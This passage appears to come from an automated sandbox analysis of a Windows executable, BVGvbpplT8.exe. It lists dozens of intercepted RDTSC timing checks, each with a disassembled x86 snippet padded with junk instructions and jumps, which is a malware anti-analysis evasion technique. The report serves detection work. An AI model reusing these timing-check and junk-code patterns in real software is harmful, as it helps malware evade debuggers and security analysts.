Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1183B31 second address: 1183B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1183B35 second address: 1183B4C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAAF9128026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FAAF912802Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1183B4C second address: 1183B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1183B54 second address: 1183B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 118415A second address: 1184166 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAAF8FC5086h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 118440D second address: 1184438 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FAAF9128028h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAAF9128035h 0x00000013 je 00007FAAF9128026h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1189390 second address: 11893C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FAAF8FC5094h 0x0000000f jmp 00007FAAF8FC508Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1188B74 second address: 1188B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 118DDF2 second address: 118DDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 118DDF7 second address: 118DE0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAAF912802Dh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11963A4 second address: 11963E9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FAAF8FC5088h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f jg 00007FAAF8FC5086h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FAAF8FC5091h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FAAF8FC5096h 0x00000026 push edi 0x00000027 pop edi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1196599 second address: 11965A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11965A3 second address: 11965A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11965A7 second address: 11965C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128037h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11966F4 second address: 1196707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007FAAF8FC5086h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1196707 second address: 1196737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128037h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FAAF9128039h 0x0000000f jmp 00007FAAF912802Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 119B637 second address: 119B649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnl 00007FAAF8FC5086h 0x0000000c jc 00007FAAF8FC5086h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 119E9C7 second address: 119E9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF912802Fh 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11A9BF8 second address: 11A9BFE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11A9BFE second address: 11A9C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11A9C04 second address: 11A9C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF8FC5097h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11A9C21 second address: 11A9C2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11A991F second address: 11A992E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 jc 00007FAAF8FC508Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11A992E second address: 11A9934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11A9934 second address: 11A993A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11A993A second address: 11A993E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11AC376 second address: 11AC392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF8FC5098h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11AC392 second address: 11AC3A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FAAF9128026h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C6D6A second address: 11C6D8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jns 00007FAAF8FC5086h 0x00000010 jmp 00007FAAF8FC5092h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C6D8D second address: 11C6DA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAAF9128030h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C707D second address: 11C7082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C7613 second address: 11C7618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C7618 second address: 11C7622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FAAF8FC5086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C7622 second address: 11C7643 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAAF9128035h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C7643 second address: 11C7648 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C7648 second address: 11C7654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAAF9128026h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C7654 second address: 11C766C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF8FC508Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C77B7 second address: 11C77BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C77BB second address: 11C77D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FAAF8FC5092h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C77D3 second address: 11C77D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C77D9 second address: 11C77EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF8FC508Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C81C3 second address: 11C81D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FAAF9128026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C81D3 second address: 11C81E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FAAF8FC508Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11C81E1 second address: 11C81ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11CC9B9 second address: 11CC9DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FAAF8FC5086h 0x0000000c popad 0x0000000d jmp 00007FAAF8FC5094h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11CC9DA second address: 11CC9ED instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAAF912802Eh 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11CC51A second address: 11CC51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11CC51E second address: 11CC522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11DB3E2 second address: 11DB3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007FAAF8FC508Ch 0x0000000b pop edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11DB3FC second address: 11DB402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11DB402 second address: 11DB415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FAAF8FC5086h 0x0000000d jns 00007FAAF8FC5086h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11EB145 second address: 11EB15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FAAF912802Eh 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007FAAF9128026h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11EB15D second address: 11EB161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11ECB60 second address: 11ECB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF912802Bh 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 120375C second address: 1203760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1203760 second address: 1203766 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1203766 second address: 1203777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FAAF8FC5086h 0x00000009 jl 00007FAAF8FC5086h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1202502 second address: 120250E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 js 00007FAAF9128026h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 120250E second address: 120251D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FAAF8FC5086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 12026B9 second address: 12026C9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAAF9128026h 0x00000008 jc 00007FAAF9128026h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 120296C second address: 1202983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF8FC5092h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1202B09 second address: 1202B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF9128039h 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d ja 00007FAAF9128026h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1202B30 second address: 1202B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1202FE4 second address: 1203000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF912802Bh 0x00000009 jo 00007FAAF9128026h 0x0000000f popad 0x00000010 pop ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1203000 second address: 1203006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1203006 second address: 120300A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 120300A second address: 120300E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1203182 second address: 12031A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 jmp 00007FAAF9128031h 0x0000000e popad 0x0000000f push ebx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 12031A3 second address: 12031C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAAF8FC5086h 0x0000000a jg 00007FAAF8FC5086h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAAF8FC508Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 12063CF second address: 12063D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 12063D9 second address: 12063DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 12066CC second address: 12066FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jc 00007FAAF912802Ah 0x0000000e push ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop ecx 0x00000012 nop 0x00000013 cld 0x00000014 push dword ptr [ebp+122D1F48h] 0x0000001a stc 0x0000001b push C2A58270h 0x00000020 push eax 0x00000021 push edx 0x00000022 jng 00007FAAF912802Ch 0x00000028 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 12078D8 second address: 12078DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111BC78 second address: 111BC7D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5150444 second address: 5150448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5150448 second address: 515044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 515044E second address: 5150480 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5094h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAAF8FC5097h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5150480 second address: 5150498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF9128034h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5150498 second address: 51504B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51504B1 second address: 51504B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51504B5 second address: 51504BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51504BB second address: 51504E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 2Ah 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edx, dword ptr [ebp+0Ch] 0x0000000d jmp 00007FAAF9128037h 0x00000012 mov ecx, dword ptr [ebp+08h] 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 mov di, ax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170720 second address: 5170724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170724 second address: 5170737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170737 second address: 5170767 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov ch, 27h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FAAF8FC508Ah 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FAAF8FC5097h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170767 second address: 5170812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FAAF912802Eh 0x00000010 xchg eax, ecx 0x00000011 pushad 0x00000012 call 00007FAAF912802Eh 0x00000017 pushfd 0x00000018 jmp 00007FAAF9128032h 0x0000001d sbb ecx, 4B1CE3A8h 0x00000023 jmp 00007FAAF912802Bh 0x00000028 popfd 0x00000029 pop ecx 0x0000002a call 00007FAAF9128039h 0x0000002f mov bl, cl 0x00000031 pop edi 0x00000032 popad 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007FAAF9128034h 0x0000003d or al, 00000068h 0x00000040 jmp 00007FAAF912802Bh 0x00000045 popfd 0x00000046 mov ah, 5Eh 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170812 second address: 5170817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170817 second address: 51708D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FAAF912802Eh 0x0000000a and cl, FFFFFFC8h 0x0000000d jmp 00007FAAF912802Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xchg eax, ecx 0x00000017 pushad 0x00000018 mov si, 595Bh 0x0000001c movzx eax, bx 0x0000001f popad 0x00000020 push esp 0x00000021 jmp 00007FAAF9128038h 0x00000026 mov dword ptr [esp], esi 0x00000029 jmp 00007FAAF9128030h 0x0000002e lea eax, dword ptr [ebp-04h] 0x00000031 jmp 00007FAAF9128030h 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FAAF912802Dh 0x00000040 add si, 4EA6h 0x00000045 jmp 00007FAAF9128031h 0x0000004a popfd 0x0000004b pushfd 0x0000004c jmp 00007FAAF9128030h 0x00000051 and cx, 7448h 0x00000056 jmp 00007FAAF912802Bh 0x0000005b popfd 0x0000005c popad 0x0000005d rdtsc
